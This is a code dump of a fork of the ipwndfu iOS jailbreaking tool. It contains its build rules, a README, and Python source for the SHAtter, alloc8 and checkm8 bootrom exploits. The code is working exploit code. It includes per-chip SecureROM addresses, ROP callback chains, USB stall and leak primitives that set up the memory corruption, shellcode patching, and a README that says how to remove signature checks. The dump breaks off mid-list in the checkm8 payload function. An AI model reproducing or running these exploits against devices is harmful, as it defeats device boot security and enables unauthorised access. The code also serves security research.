arm-none-eabi-as -mthumb --fatal-warnings -o bin/usb_0xA1_2_armv7.o src/usb_0xA1_2_armv7.S
arm-none-eabi-objcopy -O binary bin/usb_0xA1_2_armv7.o bin/usb_0xA1_2_armv7.bin
rm bin/usb_0xA1_2_armv7.o
arm-none-eabi-as -mthumb --fatal-warnings -o bin/checkm8_armv7.o src/checkm8_armv7.S
arm-none-eabi-objcopy -O binary bin/checkm8_armv7.o bin/checkm8_armv7.bin
rm bin/checkm8_armv7.o
arm64:
xcrun -sdk iphoneos clang src/usb_0xA1_2_arm64.S -target arm64-apple-darwin -Wall -o bin/usb_0xA1_2_arm64.o
gobjcopy -O binary -j .text bin/usb_0xA1_2_arm64.o bin/usb_0xA1_2_arm64.bin
rm bin/usb_0xA1_2_arm64.o
xcrun -sdk iphoneos clang src/checkm8_arm64.S -target arm64-apple-darwin -Wall -o bin/checkm8_arm64.o
gobjcopy -O binary -j .text bin/checkm8_arm64.o bin/checkm8_arm64.bin
rm bin/checkm8_arm64.o
xcrun -sdk iphoneos clang src/t8010_t8011_disable_wxn_arm64.S -target arm64-apple-darwin -Wall -o bin/t8010_t8011_disable_wxn_arm64.o
gobjcopy -O binary -j .text bin/t8010_t8011_disable_wxn_arm64.o bin/t8010_t8011_disable_wxn_arm64.bin
rm bin/t8010_t8011_disable_wxn_arm64.o
================================================
FILE: README.md
================================================

# Open-source jailbreaking tool for many iOS devices
**Read [disclaimer](#disclaimer) before using this software.*
## About this fork
* This fork allows you to load img4 images (e.g. iBSS/LLB) in pwned DFU mode.
* Also supports loading of unsigned img4 images. Run "python rmsigchks.py" to remove signature checks.
* Supports s5l8960x (iPhone 5s) and - new - t8011 (iPad Pro 2017).
* **IMPORTANT:** Other devices are currently **NOT SUPPORTED**.
## checkm8
* permanent unpatchable bootrom exploit for hundreds of millions of iOS devices
* meant for researchers, this is not a jailbreak with Cydia yet
* allows dumping SecureROM, decrypting keybags for iOS firmware, and demoting device for JTAG
* current SoC support: s5l8947x, s5l8950x, s5l8955x, s5l8960x, t8002, t8004, t8010, t8011, t8015
* future SoC support: s5l8940x, s5l8942x, s5l8945x, s5l8747x, t7000, t7001, s7002, s8000, s8001, s8003, t8012
* full jailbreak with Cydia on latest iOS version is possible, but requires additional work
## Quick start guide for checkm8
1. Use a cable to connect device to your Mac. Hold buttons as needed to enter DFU Mode.
2. First run ```./ipwndfu -p``` to exploit the device. Repeat the process if it fails, it is not reliable.
3. Run ```./ipwndfu --dump-rom``` to get a dump of SecureROM.
4. Run ```./ipwndfu --decrypt-gid KEYBAG``` to decrypt a keybag.
5. Run ```./ipwndfu --demote``` to demote device and enable JTAG.
## Features
* Jailbreak and downgrade iPhone 3GS (new bootrom) with alloc8 untethered bootrom exploit. :-)
* Pwned DFU Mode with steaks4uce exploit for S5L8720 devices.
* Pwned DFU Mode with limera1n exploit for S5L8920/S5L8922 devices.
* Pwned DFU Mode with SHAtter exploit for S5L8930 devices.
* Dump SecureROM on S5L8920/S5L8922/S5L8930 devices.
* Dump NOR on S5L8920 devices.
* Flash NOR on S5L8920 devices.
* Encrypt or decrypt hex data on a connected device in pwned DFU Mode using its GID or UID key.
## Dependencies
This tool should be compatible with Mac and Linux. It won't work in a virtual machine.
* libusb, `If you are using Linux: install libusb using your package manager.`
* [iPhone 3GS iOS 4.3.5 iBSS](#ibss)
## Tutorial
This tool can be used to downgrade or jailbreak iPhone 3GS (new bootrom) without SHSH blobs, as documented in [JAILBREAK-GUIDE](https://github.com/axi0mX/ipwndfu/blob/master/JAILBREAK-GUIDE.md).
## Exploit write-up
Write-up for alloc8 exploit can be found here:
https://github.com/axi0mX/alloc8
## iBSS
Download iPhone 3GS iOS 4.3.5 IPSW from Apple:
http://appldnld.apple.com/iPhone4/041-1965.20110721.gxUB5/iPhone2,1_4.3.5_8L1_Restore.ipsw
In Terminal, extract iBSS using the following command, then move the file to ipwndfu folder:
```
unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3
```
## Coming soon!
* Reorganize and refactor code.
* Easier setup: download iBSS automatically using partial zip.
* Dump SecureROM on S5L8720 devices.
* Install custom boot logos on devices jailbroken with 24Kpwn and alloc8.
* Enable verbose boot on devices jailbroken with 24Kpwn and alloc8.
## Disclaimer
**This is BETA software.**
Backup your data.
This tool is currently in beta and could potentially brick your device. It will attempt to save a copy of data in NOR to nor-backups folder before flashing new data to NOR, and it will attempt to not overwrite critical data in NOR which your device requires to function. If something goes wrong, hopefully you will be able to restore to latest IPSW in iTunes and bring your device back to life, or use nor-backups to restore NOR to the original state, but I cannot provide any guarantees.
**There is NO warranty provided.**
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
## Toolchain
You will not need to use `make` or compile anything to use ipwndfu. However, if you wish to make changes to assembly code in `src/*`, you will need to use an ARM toolchain and assemble the source files by running `make`.
If you are using macOS with Homebrew, you can use binutils and gcc-arm-embedded. You can install them with these commands:
```
brew install binutils
brew cask install https://raw.githubusercontent.com/Homebrew/homebrew-cask/b88346667547cc85f8f2cacb3dfe7b754c8afc8a/Casks/gcc-arm-embedded.rb
```
## Credit
geohot for limera1n exploit
posixninja and pod2g for SHAtter exploit
chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al. for 24Kpwn exploit
pod2g for steaks4uce exploit
walac for pyusb
================================================
FILE: SHAtter.py
================================================
# Credit: This file is based on SHAtter exploit (segment overflow) by posixninja and pod2g.
import struct, sys, time
import dfu
def generate_payload():
shellcode_address = 0x8402F198 + 1
data = struct.pack('<40sI', '\xF0' * 40, shellcode_address)
tags = data + struct.pack('<4s2I4s2I', 'SHSH'[::-1], 12, 0, 'CERT'[::-1], 12, 0)
header = struct.pack('<4s3I4s', 'Img3'[::-1], 20 + len(tags), len(tags), len(data), 'ibss'[::-1])
with open('bin/SHAtter-shellcode.bin', 'rb') as f:
shellcode = f.read()
assert len(shellcode) <= 1024
return header + tags + shellcode
def exploit():
print '*** based on SHAtter exploit (segment overflow) by posixninja and pod2g ***'
device = dfu.acquire_device()
print 'Found:', device.serial_number
if 'PWND:[' in device.serial_number:
print 'Device is already in pwned DFU Mode. Not executing exploit.'
return
if 'CPID:8930' not in device.serial_number:
print 'ERROR: Not a compatible device. This exploit is for S5L8930 devices only. Exiting.'
sys.exit(1)
if 'SRTG:[iBoot-574.4]' not in device.serial_number:
print 'ERROR: CPID is compatible, but serial number string does not match.'
print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
sys.exit(1)
dfu.reset_counters(device)
dfu.get_data(device, 0x40)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.request_image_validation(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.get_data(device, 0x2C000)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
dfu.reset_counters(device)
dfu.get_data(device, 0x140)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.request_image_validation(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.send_data(device, generate_payload())
dfu.get_data(device, 0x2C000)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
failed = 'PWND:[SHAtter]' not in device.serial_number
dfu.release_device(device)
if failed:
print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
sys.exit(1)
print 'Device is now in pwned DFU Mode.'
================================================
FILE: alloc8.py
================================================
import copy, struct, sys
alloc8_constants_359_3 = [
0x84034000, # 1 - MAIN_STACK_ADDRESS
0x544, # 2 - clean_invalidate_data_cache
0x84024020, # 3 - gNorImg3List
0x1ccd, # 4 - free
0x3ca1, # 5 - exit_critical_section
0x451d, # 6 - home_button_pressed
0x450d, # 7 - power_button_pressed
0x44e1, # 8 - cable_connected
0x696c6c62, # 9 - ILLB_MAGIC
0x1f6f, # 10 - get_nor_image
0x84000000, # 11 - LOAD_ADDRESS
0x24000, # 12 - MAX_SIZE
0x3969, # 13 - jump_to
0x38a1, # 14 - usb_create_serial_number_string
0x8e7d, # 15 - strlcat
0x349d, # 16 - usb_wait_for_image
0x84024228, # 17 - gLeakingDFUBuffer
0x65786563, # 18 - EXEC_MAGIC
0x1f79, # 19 - memz_create
0x1fa1, # 20 - memz_destroy
0x696d6733, # 21 - IMG3_STRUCT_MAGIC
0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC
0x1fe5, # 23 - image3_create_struct
0x2655, # 24 - image3_load_continue
0x277b, # 25 - image3_load_fail
]
alloc8_constants_359_3_2 = [
0x84034000, # 1 - MAIN_STACK_ADDRESS
0x544, # 2 - clean_invalidate_data_cache
0x84024020, # 3 - gNorImg3List
0x1ccd, # 4 - free
0x3ca9, # 5 - exit_critical_section
0x4525, # 6 - home_button_pressed
0x4515, # 7 - power_button_pressed
0x44e9, # 8 - cable_connected
0x696c6c62, # 9 - ILLB_MAGIC
0x1f77, # 10 - get_nor_image
0x84000000, # 11 - LOAD_ADDRESS
0x24000, # 12 - MAX_SIZE
0x3971, # 13 - jump_to
0x38a9, # 14 - usb_create_serial_number_string
0x8e85, # 15 - strlcat
0x34a5, # 16 - usb_wait_for_image
0x84024228, # 17 - gLeakingDFUBuffer
0x65786563, # 18 - EXEC_MAGIC
0x1f81, # 19 - memz_create
0x1fa9, # 20 - memz_destroy
0x696d6733, # 21 - IMG3_STRUCT_MAGIC
0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC
0x1fed, # 23 - image3_create_struct
0x265d, # 24 - image3_load_continue
0x2783, # 25 - image3_load_fail
]
def empty_img3(size):
assert size >= 20
return struct.pack('<4s3I4s', 'Img3'[::-1], size, 0, 0, 'zero'[::-1]) + '\x00' * (size - 20)
def exploit(nor, version):
if version == '359.3':
constants = alloc8_constants_359_3
exceptions = [0x5620, 0x5630]
elif version == '359.3.2':
constants = alloc8_constants_359_3_2
exceptions = [0x5628, 0x5638]
else:
print 'ERROR: SecureROM version %s is not supported by alloc8.' % version
sys.exit(1)
for c in nor.parts[1]:
assert c == '\x00'
assert len(nor.images) < 32
MAX_SHELLCODE_LENGTH = 460
with open('bin/alloc8-shellcode.bin', 'rb') as f:
shellcode = f.read()
assert len(shellcode) <= MAX_SHELLCODE_LENGTH
# Shellcode has placeholder values for constants; check they match and replace with constants from config.
placeholders_offset = len(shellcode) - 4 * len(constants)
for i in range(len(constants)):
offset = placeholders_offset + 4 * i
(value,) = struct.unpack('<I', shellcode[offset:offset + 4])
assert value == 0xBAD00001 + i
new_nor = copy.deepcopy(nor)
new_nor.parts[1] = shellcode[:placeholders_offset] + struct.pack('<%sI' % len(constants), *constants) + '\x00' * (MAX_SHELLCODE_LENGTH - len(shellcode))
while len(new_nor.images) < 713:
new_nor.images.append(empty_img3(new_nor.block_size))
# Image no. 714 must end at the end of the 4096-byte block.
NOR_READ_SIZE = 4096
offset = 0
for image in new_nor.images:
offset += len(image)
size = NOR_READ_SIZE - offset % NOR_READ_SIZE
new_nor.images.append(empty_img3(size))
# This image is copied to address 0x8. SHELLCODE_ADDRESS overrides the data abort exception handler.
SHELLCODE_ADDRESS = 0x84026214 + 1
new_nor.images.append(empty_img3(52)[:40] + struct.pack('<4I', SHELLCODE_ADDRESS, 0, *exceptions))
return new_nor
def remove_exploit(nor):
assert len(nor.images) >= 700
new_nor = copy.deepcopy(nor)
new_images = []
for image in new_nor.images:
assert len(image) >= 20
if image[16:20] != 'zero'[::-1]:
new_images.append(image)
assert len(new_images) < 32
new_nor.images = new_images
new_nor.parts[1] = '\x00' * 460
return new_nor
================================================
FILE: checkm8.py
================================================
import array, ctypes, struct, sys, time
import usb
import dfu
# Must be global so garbage collector never frees it
request = None
transfer_ptr = None
never_free_device = None
def libusb1_create_ctrl_transfer(device, request, timeout):
ptr = usb.backend.libusb1._lib.libusb_alloc_transfer(0)
assert ptr is not None
transfer = ptr.contents
transfer.dev_handle = device._ctx.handle.handle
transfer.endpoint = 0 # EP0
transfer.type = 0 # LIBUSB_TRANSFER_TYPE_CONTROL
transfer.timeout = timeout
transfer.buffer = request.buffer_info()[0] # C-pointer to request buffer
transfer.length = len(request)
transfer.user_data = None
transfer.callback = usb.backend.libusb1._libusb_transfer_cb_fn_p(0) # NULL
transfer.flags = 1 << 1 # LIBUSB_TRANSFER_FREE_BUFFER
return ptr
def libusb1_async_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data, timeout):
if usb.backend.libusb1._lib is not device._ctx.backend.lib:
print 'ERROR: This exploit requires libusb1 backend, but another backend is being used. Exiting.'
sys.exit(1)
global request, transfer_ptr, never_free_device
request_timeout = int(timeout) if timeout >= 1 else 0
start = time.time()
never_free_device = device
request = array.array('B', struct.pack('<BBHHH', bmRequestType, bRequest, wValue, wIndex, len(data)) + data)
transfer_ptr = libusb1_create_ctrl_transfer(device, request, request_timeout)
assert usb.backend.libusb1._lib.libusb_submit_transfer(transfer_ptr) == 0
while time.time() - start < timeout / 1000.0:
pass
# Prototype of libusb_cancel_transfer is missing from pyusb
usb.backend.libusb1._lib.libusb_cancel_transfer.argtypes = [ctypes.POINTER(usb.backend.libusb1._libusb_transfer)]
assert usb.backend.libusb1._lib.libusb_cancel_transfer(transfer_ptr) == 0
def libusb1_no_error_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout):
try:
device.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout)
except usb.core.USBError:
pass
def usb_rop_callbacks(address, func_gadget, callbacks):
data = ''
for i in range(0, len(callbacks), 5):
block1 = ''
block2 = ''
for j in range(5):
address += 0x10
if j == 4:
address += 0x50
if i + j < len(callbacks) - 1:
block1 += struct.pack('<2Q', func_gadget, address)
block2 += struct.pack('<2Q', callbacks[i+j][1], callbacks[i+j][0])
elif i + j == len(callbacks) - 1:
block1 += struct.pack('<2Q', func_gadget, 0)
block2 += struct.pack('<2Q', callbacks[i+j][1], callbacks[i+j][0])
else:
block1 += struct.pack('<2Q', 0, 0)
data += block1 + block2
return data
# TODO: assert we are within limits
def asm_arm64_branch(src, dest):
if src > dest:
value = 0x18000000 - (src - dest) / 4
else:
value = 0x14000000 + (dest - src) / 4
return struct.pack('<I', value)
# TODO: check if start offset % 4 would break it
# LDR X7, [PC, #OFFSET]; BR X7
def asm_arm64_x7_trampoline(dest):
return '47000058E0001FD6'.decode('hex') + struct.pack('<Q', dest)
# THUMB +0 [0xF000F8DF, ADDR] LDR.W PC, [PC]
# THUMB +2 [0xF002F8DF, ADDR] LDR.W PC, [PC, #2]
def asm_thumb_trampoline(src, dest):
assert src % 2 == 1 and dest % 2 == 1
if src % 4 == 1:
return struct.pack('<2I', 0xF000F8DF, dest)
else:
return struct.pack('<2I', 0xF002F8DF, dest)
def prepare_shellcode(name, constants=[]):
if name.endswith('_armv7'):
fmt = '<%sI'
size = 4
elif name.endswith('_arm64'):
fmt = '<%sQ'
size = 8
else:
print 'ERROR: Shellcode name "%s" does not end with known architecture. Exiting.' % name
sys.exit(1)
with open('bin/%s.bin' % name, 'rb') as f:
shellcode = f.read()
# Shellcode has placeholder values for constants; check they match and replace with constants from config
placeholders_offset = len(shellcode) - size * len(constants)
for i in range(len(constants)):
offset = placeholders_offset + size * i
(value,) = struct.unpack(fmt % '1', shellcode[offset:offset + size])
assert value == 0xBAD00001 + i
return shellcode[:placeholders_offset] + struct.pack(fmt % len(constants), *constants)
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001)
def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1)
def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
def usb_req_stall(device): libusb1_no_error_ctrl_transfer(device, 0x2, 3, 0x0, 0x80, 0x0, 10)
def usb_req_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x40, 1)
def usb_req_no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x41, 1)
class DeviceConfig:
def __init__(self, version, cpid, large_leak, overwrite, overwrite_offset, hole, leak):
assert len(overwrite) <= 0x800
self.version = version
self.cpid = cpid
self.large_leak = large_leak
self.overwrite = overwrite
self.overwrite_offset = overwrite_offset
self.hole = hole
self.leak = leak
PAYLOAD_OFFSET_ARMV7 = 384
PAYLOAD_SIZE_ARMV7 = 320
PAYLOAD_OFFSET_ARM64 = 384
PAYLOAD_SIZE_ARM64 = 576
def payload(cpid):
if cpid == 0x8947:
constants_usb_s5l8947x = [
0x34000000, # 1 - LOAD_ADDRESS
0x65786563, # 2 - EXEC_MAGIC
0x646F6E65, # 3 - DONE_MAGIC
0x6D656D63, # 4 - MEMC_MAGIC
0x6D656D73, # 5 - MEMS_MAGIC
0x79EC+1, # 6 - USB_CORE_DO_IO
]
constants_checkm8_s5l8947x = [
0x3402D87C, # 1 - gUSBDescriptors
0x3402DDF8, # 2 - gUSBSerialNumber
0x72A8+1, # 3 - usb_create_string_descriptor
0x3402C2DA, # 4 - gUSBSRNMStringDescriptor
0x34039800, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
0x3402D92C, # 8 - PAYLOAD_PTR
]
s5l8947x_handler = asm_thumb_trampoline(0x34039800+1, 0x7BC8+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_s5l8947x)[8:]
s5l8947x_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_s5l8947x)
assert len(s5l8947x_shellcode) <= PAYLOAD_OFFSET_ARMV7
assert len(s5l8947x_handler) <= PAYLOAD_SIZE_ARMV7
return s5l8947x_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(s5l8947x_shellcode)) + s5l8947x_handler
if cpid == 0x8950:
constants_usb_s5l8950x = [
0x10000000, # 1 - LOAD_ADDRESS
0x65786563, # 2 - EXEC_MAGIC
0x646F6E65, # 3 - DONE_MAGIC
0x6D656D63, # 4 - MEMC_MAGIC
0x6D656D73, # 5 - MEMS_MAGIC
0x7620+1, # 6 - USB_CORE_DO_IO
]
constants_checkm8_s5l8950x = [
0x10061988, # 1 - gUSBDescriptors
0x10061F80, # 2 - gUSBSerialNumber
0x7C54+1, # 3 - usb_create_string_descriptor
0x100600D8, # 4 - gUSBSRNMStringDescriptor
0x10079800, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
0x10061A24, # 8 - PAYLOAD_PTR
]
s5l8950x_handler = asm_thumb_trampoline(0x10079800+1, 0x8160+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_s5l8950x)[8:]
s5l8950x_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_s5l8950x)
assert len(s5l8950x_shellcode) <= PAYLOAD_OFFSET_ARMV7
assert len(s5l8950x_handler) <= PAYLOAD_SIZE_ARMV7
return s5l8950x_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(s5l8950x_shellcode)) + s5l8950x_handler
if cpid == 0x8955:
constants_usb_s5l8955x = [
0x10000000, # 1 - LOAD_ADDRESS
0x65786563, # 2 - EXEC_MAGIC
0x646F6E65, # 3 - DONE_MAGIC
0x6D656D63, # 4 - MEMC_MAGIC
0x6D656D73, # 5 - MEMS_MAGIC
0x7660+1, # 6 - USB_CORE_DO_IO
]
constants_checkm8_s5l8955x = [
0x10061988, # 1 - gUSBDescriptors
0x10061F80, # 2 - gUSBSerialNumber
0x7C94+1, # 3 - usb_create_string_descriptor
0x100600D8, # 4 - gUSBSRNMStringDescriptor
0x10079800, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
0x10061A24, # 8 - PAYLOAD_PTR
]
s5l8955x_handler = asm_thumb_trampoline(0x10079800+1, 0x81A0+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_s5l8955x)[8:]
s5l8955x_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_s5l8955x)
assert len(s5l8955x_shellcode) <= PAYLOAD_OFFSET_ARMV7
assert len(s5l8955x_handler) <= PAYLOAD_SIZE_ARMV7
return s5l8955x_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(s5l8955x_shellcode)) + s5l8955x_handler
if cpid == 0x8960:
constants_usb_s5l8960x = [
0x180380000, # 1 - LOAD_ADDRESS
0x6578656365786563, # 2 - EXEC_MAGIC
0x646F6E65646F6E65, # 3 - DONE_MAGIC
0x6D656D636D656D63, # 4 - MEMC_MAGIC
0x6D656D736D656D73, # 5 - MEMS_MAGIC
0x10000CC78, # 6 - USB_CORE_DO_IO
]
constants_checkm8_s5l8960x = [
0x180086B58, # 1 - gUSBDescriptors
0x180086CDC, # 2 - gUSBSerialNumber
0x10000BFEC, # 3 - usb_create_string_descriptor
0x180080562, # 4 - gUSBSRNMStringDescriptor
0x18037FC00, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
0x180086C70, # 8 - PAYLOAD_PTR
]
s5l8960x_handler = asm_arm64_x7_trampoline(0x10000CFB4) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_s5l8960x)[4:]
s5l8960x_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_s5l8960x)
assert len(s5l8960x_shellcode) <= PAYLOAD_OFFSET_ARM64
assert len(s5l8960x_handler) <= PAYLOAD_SIZE_ARM64
return s5l8960x_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(s5l8960x_shellcode)) + s5l8960x_handler
if cpid == 0x8002:
constants_usb_t8002 = [
0x48818000, # 1 - LOAD_ADDRESS
0x65786563, # 2 - EXEC_MAGIC
0x646F6E65, # 3 - DONE_MAGIC
0x6D656D63, # 4 - MEMC_MAGIC
0x6D656D73, # 5 - MEMS_MAGIC
0x9410+1, # 6 - USB_CORE_DO_IO
]
constants_checkm8_t8002 = [
0x4880629C, # 1 - gUSBDescriptors
0x48802AB8, # 2 - gUSBSerialNumber
0x8CA4+1, # 3 - usb_create_string_descriptor
0x4880037A, # 4 - gUSBSRNMStringDescriptor
0x48806E00, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
0x48806344, # 8 - PAYLOAD_PTR
]
t8002_handler = asm_thumb_trampoline(0x48806E00+1, 0x95F0+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_t8002)[8:]
t8002_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_t8002)
assert len(t8002_shellcode) <= PAYLOAD_OFFSET_ARMV7
assert len(t8002_handler) <= PAYLOAD_SIZE_ARMV7
return t8002_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(t8002_shellcode)) + t8002_handler
if cpid == 0x8004:
constants_usb_t8004 = [
0x48818000, # 1 - LOAD_ADDRESS
0x65786563, # 2 - EXEC_MAGIC
0x646F6E65, # 3 - DONE_MAGIC
0x6D656D63, # 4 - MEMC_MAGIC
0x6D656D73, # 5 - MEMS_MAGIC
0x85A0+1, # 6 - USB_CORE_DO_IO
]
constants_checkm8_t8004 = [
0x488062DC, # 1 - gUSBDescriptors
0x48802AE8, # 2 - gUSBSerialNumber
0x7E34+1, # 3 - usb_create_string_descriptor
0x488003CA, # 4 - gUSBSRNMStringDescriptor
0x48806E00, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
0x48806384, # 8 - PAYLOAD_PTR
]
t8004_handler = asm_thumb_trampoline(0x48806E00+1, 0x877C+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_t8004)[8:]
t8004_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_t8004)
assert len(t8004_shellcode) <= PAYLOAD_OFFSET_ARMV7
assert len(t8004_handler) <= PAYLOAD_SIZE_ARMV7
return t8004_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(t8004_shellcode)) + t8004_handler
if cpid == 0x8010:
constants_usb_t8010 = [
0x1800B0000, # 1 - LOAD_ADDRESS
0x6578656365786563, # 2 - EXEC_MAGIC
0x646F6E65646F6E65, # 3 - DONE_MAGIC
0x6D656D636D656D63, # 4 - MEMC_MAGIC
0x6D656D736D656D73, # 5 - MEMS_MAGIC
0x10000DC98, # 6 - USB_CORE_DO_IO
]
constants_checkm8_t8010 = [
0x180088A30, # 1 - gUSBDescriptors
0x180083CF8, # 2 - gUSBSerialNumber
0x10000D150, # 3 - usb_create_string_descriptor
0x1800805DA, # 4 - gUSBSRNMStringDescriptor
0x1800AFC00, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
0x180088B48, # 8 - PAYLOAD_PTR
]
t8010_func_gadget = 0x10000CC4C
t8010_enter_critical_section = 0x10000A4B8
t8010_exit_critical_section = 0x10000A514
t8010_dc_civac = 0x10000046C
t8010_write_ttbr0 = 0x1000003E4
t8010_tlbi = 0x100000434
t8010_dmb = 0x100000478
t8010_handle_interface_request = 0x10000DFB8
t8010_callbacks = [
(t8010_dc_civac, 0x1800B0600),
(t8010_dmb, 0),
(t8010_enter_critical_section, 0),
(t8010_write_ttbr0, 0x1800B0000),
(t8010_tlbi, 0),
(0x1820B0610, 0),
(t8010_write_ttbr0, 0x1800A0000),
(t8010_tlbi, 0),
(t8010_exit_critical_section, 0),
(0x1800B0000, 0),
]
t8010_handler = asm_arm64_x7_trampoline(t8010_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8010)[4:]
t8010_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8010)
assert len(t8010_shellcode) <= PAYLOAD_OFFSET_ARM64
assert len(t8010_handler) <= PAYLOAD_SIZE_ARM64
t8010_shellcode = t8010_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8010_shellcode)) + t8010_handler
assert len(t8010_shellcode) <= 0x400
return struct.pack('<1024sQ504x2Q496s32x', t8010_shellcode, 0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) + usb_rop_callbacks(0x1800B0800, t8010_func_gadget, t8010_callbacks)
if cpid == 0x8011:
constants_usb_t8011 = [
0x1800B0000, # 1 - LOAD_ADDRESS
0x6578656365786563, # 2 - EXEC_MAGIC
0x646F6E65646F6E65, # 3 - DONE_MAGIC
0x6D656D636D656D63, # 4 - MEMC_MAGIC
0x6D656D736D656D73, # 5 - MEMS_MAGIC
0x10000DD64, # 6 - USB_CORE_DO_IO
]
constants_checkm8_t8011 = [
0x180088948, # 1 - gUSBDescriptors
0x180083D28, # 2 - gUSBSerialNumber
0x10000D234, # 3 - usb_create_string_descriptor
0x18008062A, # 4 - gUSBSRNMStringDescriptor
0x1800AFC00, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
0x180088A58, # 8 - PAYLOAD_PTR
]
t8011_func_gadget = 0x10000CCEC
t8011_dc_civac = 0x10000047C
t8011_write_ttbr0 = 0x1000003F4
t8011_tlbi = 0x100000444
t8011_dmb = 0x100000488
t8011_handle_interface_request = 0x10000E08C
t8011_callbacks = [
(t8011_dc_civac, 0x1800B0600),
(t8011_dc_civac, 0x1800B0000),
(t8011_dmb, 0),
(t8011_write_ttbr0, 0x1800B0000),
(t8011_tlbi, 0),
(0x1820B0610, 0),
(t8011_write_ttbr0, 0x1800A8000), # A custom pagetable we just set up
(t8011_tlbi, 0),
(0x1800B0000, 0),
(t8011_write_ttbr0, 0x1800A0000), # Real pagetable
(t8011_tlbi, 0),
]
t8011_handler = asm_arm64_x7_trampoline(t8011_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8011)[4:]
t8011_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8011)
assert len(t8011_shellcode) <= PAYLOAD_OFFSET_ARM64
assert len(t8011_handler) <= PAYLOAD_SIZE_ARM64
t8011_shellcode = t8011_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8011_shellcode)) + t8011_handler
assert len(t8011_shellcode) <= 0x400
return struct.pack('<1024sQ504x2Q496s32x', t8011_shellcode, 0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) + usb_rop_callbacks(0x1800B0800, t8011_func_gadget, t8011_callbacks)
if cpid == 0x8015:
constants_usb_t8015 = [
0x18001C000, # 1 - LOAD_ADDRESS
0x6578656365786563, # 2 - EXEC_MAGIC
